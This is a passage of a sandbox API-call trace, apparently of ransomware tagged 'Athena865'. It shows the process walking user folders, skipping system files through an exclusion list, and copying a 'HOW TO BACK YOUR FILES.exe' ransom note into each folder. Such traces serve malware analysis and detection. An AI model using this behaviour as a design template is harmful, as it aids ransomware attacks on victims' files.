hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7902520, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7902520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.125] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.125] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.125] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.125] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.125] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7902520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0054.125] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.125] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.125] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2=".") returned 1 [0054.125] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="..") returned 1 [0054.125] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="windows") returned -1 [0054.125] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="bootmgr") returned 1 [0054.125] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="temp") returned -1 [0054.125] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="pagefile.sys") returned -1 [0054.125] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="boot") returned 1 [0054.125] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ids.txt") returned -1 [0054.125] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ntuser.dat") returned -1 [0054.125] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="perflogs") returned -1 [0054.125] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="MSBuild") returned -1 [0054.125] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.125] lstrcpyW (in: lpString1=0x241e8aa, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0054.125] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.125] lstrlenW (lpString="Athena865") returned 9 [0054.125] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.125] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf685a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf685a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.125] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.125] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0054.125] lstrcmpiW (lpString1="My Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.125] lstrcmpiW (lpString1="My Music", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.125] lstrcmpiW (lpString1="My Music", lpString2=".") returned 1 [0054.125] lstrcmpiW (lpString1="My Music", lpString2="..") returned 1 [0054.125] lstrcmpiW (lpString1="My Music", lpString2="windows") returned -1 [0054.126] lstrcmpiW (lpString1="My Music", lpString2="bootmgr") returned 1 [0054.126] lstrcmpiW (lpString1="My Music", lpString2="temp") returned -1 [0054.126] lstrcmpiW (lpString1="My Music", lpString2="pagefile.sys") returned -1 [0054.126] lstrcmpiW (lpString1="My Music", lpString2="boot") returned 1 [0054.126] lstrcmpiW (lpString1="My Music", lpString2="ids.txt") returned 1 [0054.126] lstrcmpiW (lpString1="My Music", lpString2="ntuser.dat") returned -1 [0054.126] lstrcmpiW (lpString1="My Music", lpString2="perflogs") returned -1 [0054.126] lstrcmpiW (lpString1="My Music", lpString2="MSBuild") returned 1 [0054.126] lstrlenW (lpString="My Music") returned 8 [0054.126] lstrcpyW (in: lpString1=0x241e8aa, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0054.126] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cd50 [0054.126] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x5026a8 [0054.126] lstrcatW (in: lpString1="My Music", lpString2="\\" | out: lpString1="My Music\\") returned="My Music\\" [0054.126] lstrcatW (in: lpString1="My Music\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Music\\HOW TO BACK YOUR FILES.exe") returned="My Music\\HOW TO BACK YOUR FILES.exe" [0054.126] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Documents\\My Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\documents\\my music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.126] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0054.126] lstrcmpiW (lpString1="My Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.126] lstrcmpiW (lpString1="My Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.127] lstrcmpiW (lpString1="My Pictures", lpString2=".") returned 1 [0054.127] lstrcmpiW (lpString1="My Pictures", lpString2="..") returned 1 [0054.127] lstrcmpiW (lpString1="My Pictures", lpString2="windows") returned -1 [0054.127] lstrcmpiW (lpString1="My Pictures", lpString2="bootmgr") returned 1 [0054.127] lstrcmpiW (lpString1="My Pictures", lpString2="temp") returned -1 [0054.127] lstrcmpiW (lpString1="My Pictures", lpString2="pagefile.sys") returned -1 [0054.127] lstrcmpiW (lpString1="My Pictures", lpString2="boot") returned 1 [0054.127] lstrcmpiW (lpString1="My Pictures", lpString2="ids.txt") returned 1 [0054.127] lstrcmpiW (lpString1="My Pictures", lpString2="ntuser.dat") returned -1 [0054.127] lstrcmpiW (lpString1="My Pictures", lpString2="perflogs") returned -1 [0054.127] lstrcmpiW (lpString1="My Pictures", lpString2="MSBuild") returned 1 [0054.127] lstrlenW (lpString="My Pictures") returned 11 [0054.127] lstrcpyW (in: lpString1=0x241e8aa, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0054.127] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cd38 [0054.127] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7a) returned 0x519a20 [0054.127] lstrcatW (in: lpString1="My Pictures", lpString2="\\" | out: lpString1="My Pictures\\") returned="My Pictures\\" [0054.127] lstrcatW (in: lpString1="My Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Pictures\\HOW TO BACK YOUR FILES.exe") returned="My Pictures\\HOW TO BACK YOUR FILES.exe" [0054.127] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Documents\\My Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\documents\\my pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.128] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0054.128] lstrcmpiW (lpString1="My Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.128] lstrcmpiW (lpString1="My Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.128] lstrcmpiW (lpString1="My Videos", lpString2=".") returned 1 [0054.128] lstrcmpiW (lpString1="My Videos", lpString2="..") returned 1 [0054.128] lstrcmpiW (lpString1="My Videos", lpString2="windows") returned -1 [0054.128] lstrcmpiW (lpString1="My Videos", lpString2="bootmgr") returned 1 [0054.128] lstrcmpiW (lpString1="My Videos", lpString2="temp") returned -1 [0054.128] lstrcmpiW (lpString1="My Videos", lpString2="pagefile.sys") returned -1 [0054.128] lstrcmpiW (lpString1="My Videos", lpString2="boot") returned 1 [0054.128] lstrcmpiW (lpString1="My Videos", lpString2="ids.txt") returned 1 [0054.128] lstrcmpiW (lpString1="My Videos", lpString2="ntuser.dat") returned -1 [0054.128] lstrcmpiW (lpString1="My Videos", lpString2="perflogs") returned -1 [0054.128] lstrcmpiW (lpString1="My Videos", lpString2="MSBuild") returned 1 [0054.128] lstrlenW (lpString="My Videos") returned 9 [0054.128] lstrcpyW (in: lpString1=0x241e8aa, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0054.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cd20 [0054.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x76) returned 0x502728 [0054.128] lstrcatW (in: lpString1="My Videos", lpString2="\\" | out: lpString1="My Videos\\") returned="My Videos\\" [0054.128] lstrcatW (in: lpString1="My Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="My Videos\\HOW TO BACK YOUR FILES.exe") returned="My Videos\\HOW TO BACK YOUR FILES.exe" [0054.128] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.129] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0054.129] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.129] ReleaseMutex (hMutex=0xec) returned 1 [0054.129] CloseHandle (hObject=0xec) returned 1 [0054.129] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Downloads" | out: lpString1="C:\\Documents and Settings\\Default User\\Downloads") returned="C:\\Documents and Settings\\Default User\\Downloads" [0054.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e028 | out: hHeap=0x4f0000) returned 1 [0054.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cd68 | out: hHeap=0x4f0000) returned 1 [0054.129] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Downloads") returned 48 [0054.129] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\28666C851A86CB013B6E386807500A97") returned 0xec [0054.129] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.129] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Downloads" | out: lpString1="C:\\Documents and Settings\\Default User\\Downloads") returned="C:\\Documents and Settings\\Default User\\Downloads" [0054.129] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.129] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.129] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\downloads\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.130] GetLastError () returned 0x0 [0054.130] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.130] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.130] CloseHandle (hObject=0xf4) returned 1 [0054.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.130] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.130] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Downloads\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7928680, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7928680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.130] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.130] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.130] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.130] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7928680, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7928680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.130] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.130] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.130] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.130] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.130] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7928680, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x420, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0054.130] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.130] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.130] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2=".") returned 1 [0054.130] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="..") returned 1 [0054.131] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="windows") returned -1 [0054.131] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="bootmgr") returned 1 [0054.131] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="temp") returned -1 [0054.131] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="pagefile.sys") returned -1 [0054.131] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="boot") returned 1 [0054.131] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ids.txt") returned -1 [0054.131] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ntuser.dat") returned -1 [0054.131] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="perflogs") returned -1 [0054.131] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="MSBuild") returned -1 [0054.131] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.131] lstrcpyW (in: lpString1=0x241e8aa, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0054.131] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.131] lstrlenW (lpString="Athena865") returned 9 [0054.131] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.131] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf8e700, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf8e700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.131] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.131] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf8e700, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf8e700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0054.131] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.131] ReleaseMutex (hMutex=0xec) returned 1 [0054.131] CloseHandle (hObject=0xec) returned 1 [0054.131] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Favorites" | out: lpString1="C:\\Documents and Settings\\Default User\\Favorites") returned="C:\\Documents and Settings\\Default User\\Favorites" [0054.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e098 | out: hHeap=0x4f0000) returned 1 [0054.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cd80 | out: hHeap=0x4f0000) returned 1 [0054.131] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Favorites") returned 48 [0054.131] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8D62269E9FC5796D89FC7B831656A847") returned 0xec [0054.131] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.131] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Favorites" | out: lpString1="C:\\Documents and Settings\\Default User\\Favorites") returned="C:\\Documents and Settings\\Default User\\Favorites" [0054.132] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.132] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.132] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\favorites\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.132] GetLastError () returned 0x0 [0054.132] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.132] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.132] CloseHandle (hObject=0xf4) returned 1 [0054.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.132] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.132] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Favorites\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7974940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7974940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.133] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.133] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.133] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.133] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7974940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7974940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.133] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.133] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.133] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.133] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.133] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7974940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0054.133] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.133] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.133] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2=".") returned 1 [0054.133] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="..") returned 1 [0054.133] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="windows") returned -1 [0054.133] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="bootmgr") returned 1 [0054.133] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="temp") returned -1 [0054.133] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="pagefile.sys") returned -1 [0054.133] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="boot") returned 1 [0054.133] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ids.txt") returned -1 [0054.133] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ntuser.dat") returned -1 [0054.133] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="perflogs") returned -1 [0054.133] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="MSBuild") returned -1 [0054.133] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.133] lstrcpyW (in: lpString1=0x241e8aa, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0054.133] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.133] lstrlenW (lpString="Athena865") returned 9 [0054.133] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.133] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf8e700, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf8e700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW 